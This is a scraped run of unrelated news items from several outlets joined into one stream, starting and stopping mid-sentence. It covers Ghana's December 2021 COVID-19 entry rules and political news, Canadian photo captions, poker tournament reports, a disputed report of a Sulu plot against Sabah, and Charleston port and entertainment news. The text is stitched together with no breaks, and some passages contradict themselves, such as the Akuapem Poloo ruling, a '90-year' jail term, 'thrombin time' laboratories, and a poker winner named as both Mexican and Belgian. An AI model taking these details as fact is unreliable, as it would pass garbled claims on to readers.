having filled Ghanas Health Declaration Form (HDF) at www.ghs-hdf.org at the point of embarkation, and that airlines that bring passengers to the KIA without the passengers having filled out the HDF will also be surcharged $3,500 per passenger. Surcharge However, so far, no airline has been surcharged for bringing in unvaccinated persons, and according to Dr Lartey, that directive would be implemented in the coming weeks. He said all unvaccinated Ghanaians and residents of Ghana who were currently outside the country and intended to return within 14 days from yesterday, December 14, 2021, were exempted from the airline surcharge up to December 28, 2021, but they would be vaccinated on arrival at the airport. The revised travel guideline for international passengers, including passengers from West Africa, came into effect as a result of the new COVID-19 variant, the Omicron. Since the detection of the virus, the KIA has had a strict travel guideline, including the observation of the prescribed COVID-19 protocol, in addition to the mandatory PCR testing. However, with the detection of the Omicron variant, the policy has been revised to include proof of full vaccination. As part of efforts to control another wave of the pandemic due to the festive celebrations, as witnessed last year, the GHS announced that all unvaccinated Ghanaians and people with residential status who would be returning to the country within 14 days from midnight of Tuesday, December 14, 2021 would be vaccinated on arrival. Additionally, the GHS said all persons who were 18 years or above arriving in the country were required to provide evidence of full vaccination for a COVID-19 vaccine. COVID-19 review directive The directive formed part of a review of the national COVID-19 preventive protocols instituted at the KIA to limit the importation of COVID-19. In a related development, the GHS, together with the Ghana Airports Company Limited (GACL), managers of the KIA, in updated COVID-19 guidelines for the KIA, says all international passengers, including those from the ECOWAS region, intending to fly to Ghana will be required to meet the following health requirements prior to admission to the country: For passengers who already have a PanaBios account, enter your country of origin and set the destination to Ghana on https://trustedtravel.panabios.org or on the UNDP-endorsed Global Haven site: www.globalhaven.org. Secondly, passengers who do not have an account should create an account on the AU-endorsed site: https://trustedtravel.panabios.org. Additionally, passengers are advised to visit only a TT (thrombin time) laboratory. If there are none close to you, take your test at another accredited laboratory on the PanaBIOS or Global Haven labs registry. On arriving, passengers 18 years and above will be required to provide evidence of full vaccination for a COVID-19 vaccine at the point of embarkation. Persons who are vaccinated with vaccines on WHO Emergency Use Listing but not registered by the Food and Drugs Authority (FDA), Ghana for Emergency Use Authorisation will be offered one of the FDA, Ghana approved vaccines on arrival at the airport. Passengers, the directive said, must possess a COVID-19 negative PCR test from an accredited laboratory in the country of origin and the test should have been done not more than 72 hours before the scheduled departure time from the country of origin. Mandatory quarantine Also, airlines who take on board passengers without PCR test results or transport and disembark passengers with positive PCR test results in Accra will be fined US$3,500 per passenger. Non-Ghanaians, it said, might be refused entry and returned to the point of embarkation at a cost to the airline, while Ghanaians would be allowed entry but subjected to 14 days of mandatory quarantine at a designated facility. However, Ghanaian residents who depart Ghana and return within one week will not be required to present a COVID-19 result from the country of departure. They will, however, undergo mandatory COVID-19 testing upon arrival at a cost to be borne by the passenger. The directive gave the fees as Ghanaians and ECOWAS citizens, $50, and all other passengers, $150. However, it said airline crew were exempted from the pre-departure and arrival COVID-19 testing and should follow the airline policy for testing. Also, children under five years, it said, would not be required to undergo testing on arrival at the KIA, while children between five and12 years would be tested free of charge on arrival at the KIA. Source: Graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Global Media Alliance, the organizers for the Ghana Beverage Awards (GBA) have officially launched the 6th edition of the awards at the Kempinski Hotel in Accra. For the past five years, the GBA Awards has been organised with the aim of rewarding excellence in the beverage industry in Ghana annually. In the last five years, GBA has remained the reference point to identify beverage companies that are in touch with their markets and contributing significantly to the Ghanaian economy. Under the theme Inspiring Excellence in Ghanas Beverage Industry the awards will promote both local and foreign beverages as well as the participation of small-scale beverage enterprises in the awards scheme. Speaking at the launch of the awards, Chief Executive Officer of Global Media Alliance, Ernest Boateng, expressed optimism about the 2021 awards inspite of the past setbacks. For the past two awards, the Ghana Beverage Awards event was launched and organised virtually in compliance with the protocols stipulated by the Government of Ghana to curb the spread of the COVID-19 pandemic. Nevertheless, we were able to pull off successful events. Tonight, I am pleased to inform you that, the 6th Edition of the Ghana Beverage Awards (GBA 2021) will be held in-person here at the Kempinski Hotel in March 2022 and we look forward to delivering an enthralling event, he expressed. GBA 2021 will have 18 categories with the ultimate award being the Product of the Year. The public will be given the opportunity to nominate their favorite beverages between now and February 2022 and vote for the Product of the Year in March, 2022 before the main awards. The Deputy Minister for Trade and Industry, Hon. Michael Okyere Baafi, on behalf of the Government of Ghana, commended the GBA Secretariat for promoting excellence in the beverage industry with the awards. I would like to congratulate the organizers for the introduction of initiatives such as the beverage industry tour that was introduced as part of the awards to assess the available facilities and practices in the local beverage manufacturing space while sharing best practices. Under the leadership of his Excellency the President of the Republic of Ghana Nana Addo Dankwa Akufo-Addo, The Ministry of Trade and Industry is committed to demonstrating support for all Small and Medium Scale Enterprises (SMEs) in the beverage industry through the many engagements since the Ministry was instituted, he shared. In a lead up to this years awards, a beverage industry tour will be organised for the GBA board to visit all nominated industries to familiarize with their work and practices. The tour will be held in February 2022. The Ghana Beverage Awards is organized by Global Media Alliance and proudly supported by the Food and Beverage Association of Ghana (FABAG), Consumer Protection Agency (CPA), Food Research Institute (FRI) under CSIR and Ghana Tourism Authority (GTA). The media partners are Citi FM, Citi TV, Business and Financial Times, e.TV Ghana, Happy FM, YFM and Perception Management International (PMI). Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video A member of the Technical Advisory Committee of the Civil Society Coalition (CSO) on Local Governance Reforms, Dr Esther Offei-Aboagye, has urged the New Patriotic Party (NPP) and the National Democratic Congress (NDC) to build consensus on the election of metropolitan, municipal and district chief executives (MMDCEs). She said it was important that the two parties and the country take a critical look at the issues that derailed the referendum on the election of MMDCEs in 2019. The development issues that affect their people are clear. There are areas that they can be in clear agreement and deliver on behalf of their people. It is not always important to score political points sometimes concessions have to be made and sometimes build bridges. We know this can be done because they have done it before, and the clear message that is emerging is that Ghanaians are tired of the effect that partisanship is having on development processes of the country, she told the Daily Graphic in Accra. Dr Ofei-Aboagye, who is also the Chairperson of Star Ghana Foundation, said this on the sidelines of the CDD-Ghana USAID Electoral Support Project in Accra on Thursday. The event attended by journalists was dubbed: Regional Consultative Forums: Revisiting the agenda for Local Government Reforms. Regional consultations It was part of a nationwide regional level consultation in all 16 regions with identifiable stakeholders on the ongoing discourse on local government reforms. The move was to help gain additional insight from the various groups about their perspectives, interests and position to derive possible proposals for policy consideration. The collated views will be documented and used for advocacy and also to prepare policy advice to the government through the Minister of Local Government, Decentralisation and Rural Development (MLGDRD) to inform policy decisions on the subject. The regional consultations that began on November 22, 2021 and ended on December 10, 2021 will engage traditional leaders, political parties, the media and community-based organisations (CBOs), assemblymen and women and local bureaucracy. Dr Ofei-Aboagye said some people had attributed the non-performance of the local government to leadership issue that the metropolitan, municipal and district chief executives (MMDCEs) were not directly accountable to the people so they are under no obligation to be responsive to their needs and that is what triggered the efforts to elect them. She said following the desire of most Ghanaians, including the political parties to see the election of MMDCEs after the failed process, civil societies, concerned with the development of the country, therefore, saw the need to help to restart the process again since there would be local government elections coming up in about two years time. Surveys, she said, had indicated that Ghanaians wanted the elections of MMDCES on a non-partisan basis and so decided to engage Ghanaians on the issue including the media to offer their insights as to what they thought should be done at the sub-national level. Source: graphiconline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video It is turning out that Speaker of Parliament, Alban Bagbin, whilst away in Dubai, has reportedly endorsed a motion filed by Minority NDC MPs as part of the effort to get the approval of the 2022 budget by the Majority NPP rescinded. The revelation was made by Majority Leader and Minister for Parliamentary Affairs Osei Kyei-Mensah-Bonsu yesterday. He said on Citi FM that The First Deputy Speaker (Joseph Osei-Wusu) is assuming full responsibility for the transaction of business in the Chamber, but my understanding is that the Rt. Hon. Speaker has minuted on the motion (from the Minority) that he has admitted it. If that is the case, then we are in for something dangerous. Strenuous Effort The NDC, led by their Minority Leader, Haruna Iddrisu, has been making strenuous effort to reject the 2022 budget since it was read on November 17, by Finance Minister Ken Ofori-Atta. It started on November 26, when with the endorsement of Mr. Bagbin, who is a card-bearing member of the NDC, the Minority claimed they succeeded in rejecting the Budget Statement and Economic Policy of the Government for the year ending 31st December 2022. The Majority Caucus (NPP) which had boycotted the process, fired back saying the whole exercise was unconstitutional because the Minority Caucus did not have the quorum to take such a major decision. On November 30 when the House reconvened, the Minority NDC decided to stay out of the chamber as the Majority Caucus, New Patriotic Party (NPP), approved the same budget the NDC said they rejected. In what looked like a cat and a mouse game, 138 MPs, 137 of them from the NPP, and one independent MP, approved the budget which was supervised by the Second Deputy Speaker Joseph Osei-Wusu (NPP MP for Bekwai) in the absence of Speaker of Parliament Alban Bagbin. The approval subsequently nullified the purported rejection of the budget by opposition NDC MPs and as normalcy appeared to be restored, the Minority Leader came back saying they were determined to get the House to rescind the Majoritys decision on the budget. Minority Leader Haruna Iddrisu (NDC MP Tamale South) started pursuing the First Deputy Speaker, Joseph Osei-Wusu to have his ruling on the budget approval on December 1, 2021 set aside. Mr. Osei-Wusu, popularly known as Joe Wise, dismissed a request by the NDC Minority Caucus to have a rescission of the passage of the Budget Statement and Economic Policy of the Government for the year ending 31st December 2022. Unruly Scenes The NDC MPs, after the rejection of their motion, displayed unruly behaviour in Parliament and even attempted to manhandle the First Deputy Speaker. The nasty scenes they enacted in the House were similar to what happened on the night of January 7 when a new Speaker as well as the new Parliament was being sworn in. Following the First Deputy Speakers decision, there was a total breakdown of law and order as members of the Minority protested. Officers of the parliamentary security led by the Marshal rushed to break up an unprovoked attack on the First Deputy Speaker by some of the NDC MPs, seconds after ruling against the Minority on an application for a recession of the 2022 budget approval. Pushing & Shoving Dozens of the NDC MPs were seen pushing and shoving the parliamentary security officers in an attempt to get hold of the First Deputy Speaker. Footages showed Ernest Henry Norgbey (Ashaiman), Sam Nettey George (Ningo-Prampram), Murtala Muhammed Ibrahim (Tamale Central), Yusif Issaka Jajah (Ayawaso North), Emmanuel Abambire Bawa (Bongo), and Bashir A. Fusieni Alhassan (Sagnarigu) leading the onslaught on the First Deputy Speaker. They later succeeded in throwing on the floor the Speakers Chair after Mr. Osei-Wusu had been ushered out of the chamber. The highly charged unruly NDC MPs then proceeded to face their colleagues on the Majority side but the parliamentary security officers formed a line to prevent any attacks. The irate MPs then shoved the security guards in another attempt to attack the mace, which is the symbol of Parliaments authority entrusted to the Speaker, while visitors at the gallery looked on in disbelief. Unrelenting Minority On December 7, 2021, Haruna Iddrisu filed another motion to set aside the ruling of the First Deputy Speaker. According to the Minority Leader, the ruling of the First Deputy Speaker contravenes the rules, conventions and practices of the House, adding that it was actuated by bias. Motion Denied But the First Deputy Speaker, in a response conveyed by Clerk to Parliament, Cyril K.O. Nsiah, said he could not admit the motion relating to his ruling by the Minority Caucus. The Hon. First Deputy Speaker, pursuant to Order 13(2) of the Standing Orders of Parliament, has directed that I inform you that the Motion is not admitted. Thank you, the correspondence indicated. Minoritys Action Not satisfied with the response, the Minority Leader wrote to point out that the communication in issue is rather strangely dated 10th November, 2021 and said he assumed that the date was written in error. With respect, the reliance on Standing Order 13(2) as basis for your refusal to admit the motion is misconceived and smacks of an abuse of discretionary power contrary to Article 296 of the 1992 Constitution of Ghana which requires that in the exercise of such power you have a duty to be fair and candid, he continued. Authority To Act Haruna Iddrisu stated that it is most curious that the Standing Order you seek refuge in merely gives you the authority to act in the absence of the Right Honourable Speaker. It is not lost on us that this is the very privilege you recently denounced in your bizarre ruling of 1st December, 2021 when you stated categorically that you are not a Speaker, you are MP for Bekwai. He said the NDC Minority Caucus which he leads vehemently disagrees with the First Deputy Speakers position on the motion as well as his conduct in the matter. We take the strong view that your conduct affronts Orders 79, 81, 82 and 90 of our Standing Orders and can no longer be tolerated. In that regard, we are resolved to pursue this matter further with the Right Honourable Speaker upon his return, he noted. In the ensuing heat, the Majority Leader said he was receiving signals that Bagbin appeared to have approved the motion filed by the Minority Leader challenging the ruling of the First Deputy Speaker, while he (Bagbin) was still in Dubai undergoing a medical review. Source: Daily Guide Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Twitter has unveiled its first custom hashmoji for a Ghanaian Artist, with the launch of M.anifests new album, Madina To The Universe. The roll-out of the new emoji, which has already generated a lot of excitement and conversation on Twitter, can be activated by Tweeting #MTTU #MTTUalbum #MadinaToTheUniverse. The design of the custom space helmet emoji takes inspiration from the Madina to the Universe album cover art, which depicts a space suit-clad explorer taking off on a motorbike from Madina into space. This is symbolic of what M.anifest describes as, a reflection of lifes journey as well as a statement of ambition. M.anifest Tweeted to thank Twitter for the customised emoji and encouraged fans to Tweet the hashtags and to stream the new album. Twitter Music also showed support with a shout-out to the new album with this Tweet. Madina To The Universe #MTTU Twitter Music (@TwitterMusic) December 9, 2021 The hashtags continue to drive a high level of engagement among music lovers on Twitter, with many M.anifest fans excited to activate the custom emoji and Tweeting their support; peaking at 25,000 mentions between 9 and 10 December. Within 5 days of being launched, the individual hashtags: #MTTU, #MTTUAlbum and #MadinaToTheUniverse, received 44,900, 4,900 and 12,100 mentions respectively, according to data from Twitter.M.anifest, a multiple Ghana Music Award winning Artist, is not only one of the biggest and most celebrated Rappers in Africa, he is also one of the most followed Ghanaian users on Twitter, with 1.9 million Followers.The release of the custom emoji is the latest in a series of exciting developments from Twitter since announcing the set up of its operations in Ghana. This includes a recently announced partnership with the annual music and cultural festival, Afrochella. Source: Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The court has set aside Akuapem Poloos prison sentence and rather imposed a fine of GHc12, 000. Recall that in April this year, Akuapem Poloo was to spend 90 days in jail on her own plea as she pleaded guilty to a charge of the publication of n*de photos involving her son. According to a report on GraphicOnline.com, the Criminal Division of the court presided over by Justice Ruby Aryeetey upheld the Circuit court decision on grounds that the Circuit courts decision was not manifestly excessive. This court will not interfere and the appeal is therefore dismissed, Justice Aryee said. The court ordered that in the absence of the convict, Akuapem Poloos child should be given to any competent person in the family to take care of. On Monday, December 1, 2021, the High Court presided over by Justice Ruby Aryeetey dismissed her Appeal seeking a non-custodial sentence instead of a custodial sentence. The High Court ruled that, the 90 days custodial sentence imposed on her by the Circuit Court was not manifestly excessive and harsh and therefore cannot interfere with that decision. Five days after, her lawyers led by Andrew Kudzo Vortia have filed a notice of appeal to challenge that decision and notice for bail. The Court of Appeal in Accra instead, imposed a fine of GH12, 000 on the convict. The three member panel of the Appellate court, presided over by Justice Henry Anthony Kwoffie, held that the 90-year jail term was fair. The court on Wednesday December 15 2021, therefore, substituted the custodial sentence with a fine. She was sentenced to 1000 (GH12,000) penalty units on count one and 500 (GH6,000) penalty unit each on count two and three. The sentences are to run concurrently. Source: Eugene Osafo-Nkansah/Peacefmonline.com Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Staff work in a marijuana grow room that can be viewed by at the new visitors centre at Canopy Growth facility in Smiths Falls, Ont. on Thursday, Aug. 23, 2018.THE CANADIAN PRESS/Sean Kilpatrick In a screenshot from Tuesday's meeting, Mayor John Vassilaki holds up a binder he says contains the city's fulsome response to the Office of the Ombudsperson for B.C. surrounding the sale of 'Ms. Wilson's' home. Needles are seen filled with the vaccination for COVID-19 at a truck stop along highway 91 North in Delta, B.C., Wednesday, June 16, 2021. The Federal Court is scheduled to hear arguments today from four Canadian Armed Forces members facing disciplinary action for having refused to get COVID-19 vaccines. THE CANADIAN PRESS/Jonathan Hayward Hole Card Cam Inventor & Transformers Catalyst Henry Orenstein Passes Away at 98 December 14, 2021 Jon Sofen The man responsible for changing the way we watch poker on TV, Henry Orenstein, passed away at age 98. Details of his passing weren't immediately available. Orenstein, a Holocaust survivor from Poland, is credited with inventing the hole card cam, arguably the top game-changer in poker. The hole card camera, which exposes each player's cards to a television audience, was invented and patented by Orenstein in 1995. He didn't introduce the revolutionary product to the public until 1999 when the U.K.'s Channel 4 Late Night Poker show was first to use the hole cam. Poker has never been the same and has grown significantly in popularity since that creative invention. Nowadays, virtually every poker event on TV or livestream utilizes the hole cam. Without it, there likely never would have been a poker boom in the early 2000s, and few recreational fans would be able to pick Chris Moneymaker out of a lineup. What a Life, What a Legend Orenstein lived a full life and was one of the most respected and treasured members of the poker community. He was born October 13, 1923 in Poland. He survived a Nazi concentration camp, dealt with his parents being murdered by Nazis in Germany, and emigrated to the U.S. where he became a successful businessman and poker player. When Orenstein arrived in the U.S. in 1942, he lived with his uncle in New York. He'd go on to start a toy company that was highly profitable and innovative. The future Poker Hall of Famer left such a mark on the toy industry that he was given credit for being the catalyst behind the creation of Transformers, one of the hottest selling children's toys in history. Without his vision to see potential in an unknown toy in the 1980s, Transformers may have never become so popular. As a poker player, he could hold his own on the felt. In 1995, he reached the World Series of Poker (WSOP) Main Event final table and took eighth place for $51,900. The following year, he won his first and only bracelet, a $130,000 score in $5,000 Limit Seven Card Stud. In 2014, he reached the $10,000 Seven Card Stud final table and was eliminated in eighth place for $31,419. Orenstein was deservedly inducted into the Poker Hall of Fame in 2008 along with Dewey Tomko. PokerNews sends our condolences to Orenstein's wife, Susie, and his friends and family. He will forever be remembered in the poker community for revolutionizing the way we watch poker on TV. Stevens Stages Epic Super MILLION$ Comeback to Win $1.1M December 15, 2021 Matthew Pitt Bert Stevens sat down at the final table of the Super MILLION$ Main Event at GGPoker with the shortest stack of the nine finalists. Stevens' 2,169,895 stack, the equivalent of 13.6 big blinds, meant he was not quite on life support but that walking away with the $1,125,181 top prize was an unlikely scenario. Fast forward four hours from the final table's start, and it was Stevens who was the last man standing and the recipient of that mammoth-sized score. GGPoker Super MILLION$ Main Event Final Table Results Place Player Country Prize 1 Bert Stevens Mexico $1,125,181 2 Jerome001 China $873,846 3 Daniel Dvoress Canada $678,652 4 Artur Martirosian Russia $527,060 5 Joakim Andersson Malta $409,329 6 Jeff "DollarVig" Berwick Canada $317,896 7 progery81 Hungary $246,886 8 Anatoly Filatov UAE $191,739 9 Damian Salas Argentina $148,909 Stevens double through Daniel Dvoress with pocket sevens versus ace-queen relatively early into the final table action, yet he remained the shortest stack despite the boost to his chip count. He improved his position significantly during the 100,000/200,000/25,000a level when he opened to 420,000 with pocket kings, and Artur Martirosian three-bet to 1,000,000 in late position. Anatoly Filatov woke up with suited ace-king on the button, and he ripped it in for 9,125,335. Steven called off the 4,295,790 chips he had behind, and Martirosian ducked out of the way. A queen-high board propelled Stevens to almost 11 million chips and into third place. Damian Salas was the first finalist out of the door Everyone climbed up a payout level when Damian Salas crashed out during the next level. Salas min-raised to 500,000 with pocket jack from the cutoff, and Filatov defended his big blind with ace-six of clubs. Salas flopped a set of jack, but Filatov now had a club flush draw. Filatov checked, Salas made it 250,000 to go, and Filatov jammed all-in for 4,344,545; Salas called off for 300,000 chips less. Filatov's flush came in on the river, and Salas bowed out, collecting $148,909 for his efforts. Eighth place was settled during the same level when Filatov busted. Filatov found himself nursing a short stack when his kings lost to the queens of Martirosian. he shoved in his last four big blinds with pocket threes from under the gun, Martirosian called with ace-nine and spiked an ace on the flop. $100M Gtd WSOP Winter Online Circuit Returns to GGPoker Career-Best Score For Hungary's "progery81" Hungary's "progery81" saw his tournament end in seventh place for a career-best $246,886 score. Their stack dwindled to a mere 3.5 big blinds, which they committed with ace-king after Martirosian opened from under the gun with ace-four. Chinese grinder "Jerome001" called the short-stacked shove from the big blind with king-nine, and Martirosian shoved. Jerome001 instantly folded. A four on the turn reduced the player count by one. Start-of-the-day chip leader Jeff "DollarVig" Berwick was the next player heading to the exits. nothing went right for Berwick at the final table, partly because he was sandwiched between Stevens and Dvoress. Berwick fell by the wayside after three-betting all-in for 2,350,483 in total from the big blind after Jerome001 had min-raised to 700,000 from a couple of seats over. Jerome001 called and showed king-jack, which was up against ace-queen. Jerome001 flopped a pair of kings, but Berwick had a flush draw and gutshot straight. None of his outs landed on the turn nor river, and he busted with $317,896 reasons to be pleased with himself. Two-time Super MILLION$ champion Joakim Andersson had to make do with fifth place and $409,329 this time around. His exit hand took place during the 250,000/500,000/60,000a level, and saw him open-shove for 4,984,964 from the small blind with jack-four of diamonds. Dvoress called with the dominating queen-jack of hearts, which held on a double-ace board. Artur Martirosian put together yet another deep run in a major tournament Four-handed play ended with Martirosian heading to the cashier's desk. First, he lost a huge pot with pocket fives against Dvoress' ace-queen before open-shoving with queen-ten from the small blind for 13.5 big blinds. Dvoress called with pocket fours, and looked set to lose a huge pot when Martirosian flopped two pair. However, a four on the river ended Martirosian's participation. Heads-up was set a couple of levels later as the big blind hit 1,000,000. Steven opened to 2,100,000 with ace-queen before calling Dvoress' 14,428,178 shove, which he made with ace-six of clubs. Dvoress flopped a flush draw but could not get there; he banked $678,652 for his impressive run. Bad Beat Jackpot Pays Out More Than $1M in 24-Hours at GGPoker Stevens Shows His Clash With An Amazing Call Stevens held a 38,782,508 to 30,517,492 chip lead over Jerome001 going into the one-on-one battle, and the amazing comeback was almost complete. Jerome001 took an early lead before an amazing call swung things Stevens' way. Jerome001 limped in for 1,200,000 with six-five of spades and called when Steven raised to 4,200,000 with king-queen. Stevens led for 1,800,000 on the ace-deuce-try non-spade flop, a bet that Jerome001 called. Another three landed on the turn, and Steven check-called a 3,600,000 bet. The nine of diamonds river missed both players, and Stevens checked again. Jerome001 moved all-in for 15,532,016 effective, with the pot standing at 19,500,000, sending Stevens into the tank. The Belgian superstar emerged some time later with a king-high call, which was, of course, correct. The contest ended shortly afterwards. Stevens woke up with aces and promptly raised to 2,520,000. Jerome001 pinned his hopes and his last 17,806,936 on king-four of hearts, and Stevens happily called. Jerome001 was drawing dead on the turn and collected $873,846, leaving Stevens to net a massive $1,125,181. On December 9, Hong Kong-based South China Morning Post reported on an alleged plot by local officials in the southwestern Philippines province of Sulu to invade Sabah, a Malaysian state on the Island of Borneo. A secret meeting to discuss plans to send an armed militia to invade the Malaysian state of Sabah on Borneo Island is believed to have been held by a senior local government official in the southern Philippines, the paper reported, citing a senior regional security source. According to that report, an official in Sulu gathered 19 mayors from different parts of the Sulu Archipelago to hatch a plot to establish a Royal Sulu Army. Eleven of the 19 mayors were said to have signed off on the plot, with each to provide 50 fighters. The official who called the meeting would reportedly pay the cost of ammunition and other logistics. The source said February 2022 was the tentative time frame for the invasion, as it roughly corresponds with the date of a 2013 incursion into Sabah by Sulu fighters that left dozens dead. The potential of the plan to attack Sabah coming to fruition depends on how much political support and funds it can get from various parties, the source told the South China Morning Post. Many stakeholders in the Philippines and abroad are willing to exploit this issue for their respective political and strategic interests. However, the report, based on a single anonymous source whose nationality is not clear, offers no other corroborating evidence. The alleged conspiracy could also serve to bolster the political fortunes of those seeking support among the Sulu electorate in the run-up to the 2022 general election in the Philippines. There is history behind all this. The Sulu Archipelago is part of the Bangsamoro Autonomous Region in Muslim Mindanao. The archipelago, a double island chain, extends to the eastern shores of Sabah. In 1940, the sultan of Sulu, at that time only a religious leader, recognized the Philippines sovereignty over Sulu while maintaining claims over Sabah for the next two decades. Sabah, previously North Borneo, has long been disputed by the Philippines and Malaysia due to a murky colonial-era transfer. At the time of the 2013 incursion, in which members of the Royal Army of Sulu briefly occupied a remote part of Sabah, Time magazine offered a succinct overview of the complicated history: In 1658, the Sultan of Brunei for some reason gave Sabah to the Sultanate of Sulu, which today is considered part of the Philippines. However, the picture is further complicated by an 1878 deal between the Sultanate of Sulu and the British North Borneo Company, in which Sabah was leased to the Europeans on a rolling contract. To this day, the Malaysian government pays a token sum, equivalent to around $1,500, to the Philippines every year in recognition of this continuing arrangement. The Royal Army of Sulu interprets this deal as a lease that can be canceled, while Malaysia believes that it represents the permanent transfer of the territory. That history, and the events of 2013, do mean an armed intrusion is possible. But the South China Morning Post report offers no further evidence beyond its source. The newspaper does report that Malaysias inspector general of police and the defense minister as saying the purported plot had not been confirmed. Both officials said they would take the matter seriously, adding they would raise the preparedness of security forces to the highest level in Sabah. However, Sabah police chief Idris Abdullah was dismissive of the report, telling Free Malaysia Today he had not received any information of an alleged plot. Maybe you can ask (the South China Morning Post) where they got the information from. I also want to know but its not true, he told the paper. These kinds of rumors are not good, as they can cause panic among the people. Philippine Defense Secretary Delfin Lorenzana also wrote off the report as fake news. Lorenzana did confirm that a meeting had been held among Sulu leaders but said it had nothing to do with Sabah or Malaysia. A Philippine regional military spokesperson told Malaysias Daily Express that the governor of Sulu had met with 19 provincial mayors. However, he said the purpose of that December 1 meeting was to develop a project to strengthen the maritime borders of Sulu. A statement from the spokesman described how fishermen or seafarer volunteers would be tasked with conducting maritime patrols in collaboration with the military in Sulu to help improve border control against terrorist and any other lawless elements. They would also play a role in response and management during natural disasters in coastal areas. Sabah Chief Minister Datuk Seri Hajiji Noor declined comment on the reported incursion plot, saying he had not received any information about it, or even read the South China Morning Post report. The decision by the South China Morning Post to run the story may aid disinformation efforts, as many link it to potential electioneering in the Philippines, where general elections are set for May 2022. Idris, for example, speculated as much, saying untrue reports were bound to surface. Several security officials and intelligence sources agreed. It is more a political play to win the elections. Whoever brings up the Sabah claim can gain greater support from the Tausug community, a regional intelligence source told The Star in Malaysia. The Tausug, one of the largest Muslim ethnic groups of the southwestern Philippines, mainly live in the Sulu Archipelago, although they also have a small presence in Sabah. They once ruled over an independent state called the Sultanate of Sulu, which included Sulu and Sabah. Richard Heydarian, columnist and author of The Rise of Duterte: A Populist Revolt Against Elite Democracy, has attributed rhetoric from Philippines President Rodrigo Duterte and other senior officials over Sabah to scoring patriotic points at home. Duterte, who has cultivated a strongman image, has been criticized for acquiescing to creeping Chinese encroachment in the South China Sea. He previously vowed not to relinquish the Philippines claims over Sabah. Constitutionally unable to seek reelection, Duterte recently made waves by dropping a senatorial bid. Speculation abounds about the reason behind that decision. The move came almost immediately after Dutertes aide, Senator Christopher Bong Go, dropped out of the presidential race. Dutertes daughter, meanwhile, has decided to pursue the vice presidential post. Would you like to receive breaking news notifications from The Post and Courier? Sign up to receive news and updates from this site directly to your desktop. Breaking News Columbia Breaking News Greenville Breaking News Myrtle Beach Breaking News Aiken Breaking News N Augusta Breaking News Click on the bell icon to manage your notifications at any time. Success! Please click the 'Allow' button in the 'Show Notifcations' alert in your browser if one is available. Thank you for signing up! Please enable notifications in your browser and reload the page. The agency that owns and operates the Port of Charleston will pay $40 million to the city of North Charleston to settle a nearly decadeslong dispute involving overpasses on city streets where miles-long trains regularly block traffic. The State Ports Authority's board of directors approved the settlement during a Dec. 14 meeting. The money would be paid in four annual installments of $10 million apiece, and the settlement will be codified as part of a lawsuit the city filed against the SPA on Dec. 13. That suit seeks to have the settlement agreement put on the record as part of a court proceeding. The rail issue stems from the SPA's development of the Leatherman Terminal in North Charleston and that city's efforts to minimize the traffic impact of trains serving the terminal and an adjacent rail yard that's under construction. The city and the SPA started negotiating how the overpasses would be funded in 2002 after the state Legislature nixed plans for a container terminal on Daniel Island, instructing the maritime agency to build one at the former Navy base in North Charleston instead. The settlement follows the SPA's agreement with Charleston officials to pay $11.5 million for 2.5 acres of city-owned property where the rail yard's southern loop will be built. At least $4.9 million must be used to mitigate traffic and other impacts from the rail yard, said Chip McQueeney, assistant city attorney. The rest of the money can be used to help pay for city facilities that are no longer viable at the site. The city had planned to build new public service, fire and vehicle-storage facilities on the property, but all of them might not fit once the SPA carves its portion out of the 16.5-acre tract. The original agreement with North Charleston called for three overpasses to be built: at Rivers Avenue and Harley Street; at Rivers and Durant Avenue; and at North Rhett Avenue and Interstate 526. The settlement announced Dec. 14 will cover only some of the costs for the overpass and intersection improvements at Durant Avenue. North Charleston spokesman Ryan Johnson declined to say what improvements might be made at the other sites until after City Council votes Dec. 16 on whether to accept the settlement agreement. Traffic patterns and other factors have changed since the original agreement was signed nearly 20 years ago, and studies have identified less-expensive alternatives to the rail issues at those sites. Johnson said the lawsuit filed on Dec. 13 "is to accommodate settlement and get it on file, if all parties choose to settle." The rail yard officially known as the Navy Base Intermodal Facility will be linked to the new Leatherman Terminal by a private road, and it will give the Norfolk Southern and CSX Corp. railroads a place to load and unload cargo containers moved to and from the port by rail cars. A barge system is also proposed for the SPA's Wando Welch Terminal in Mount Pleasant, where containers would be sent by water to the Leatherman site and then loaded onto trains. The combined price tag for both projects is $593.4 million. The Legislature included $200 million toward the rail and barge project in this year's budget and is expected to fund another $350 million in coming years. The rest of the money will come from "value engineering" a process in which a developer and contractors seek less-expensive materials and processes without sacrificing functionality and other cost cuts. The reluctance to finance it all at once has pushed the rail yard's opening date back to 2025. The SPA took over the rail project this year from Palmetto Railways, a division of the state's Commerce Department, saying the facility is needed to compete with other ports in the Southeast. The rail yard has received approval from the Federal Railroad Administration and the Army Corps of Engineers and would round out roughly $2 billion in improvements at the port, including the new terminal, cranes and other equipment, and the deepening of the Charleston Harbor shipping channel so that it can accommodate heavier ships. The night before New Year's Eve, comedian, actor, writer and director Aziz Ansari will perform in Charleston. Ansari, who is a South Carolina native, will stop at the Gaillard Center for his "Last Minute Tour" at 7 p.m. Dec. 30. The son of immigrants who moved from India to Bennettsville is also an Emmy and Golden Globe Award winner, "Parks and Recreation" star and the mind behind Netflix series "Master of None." Ansari's stand-up routines have sometimes mentioned his roots in South Carolina. Im from South Carolina, Ansari has told audiences. And whenever I tell people that, theyre always like, Oh no, but its so racist there, and your skin is brown. How did you survive? but what the people forget is that the 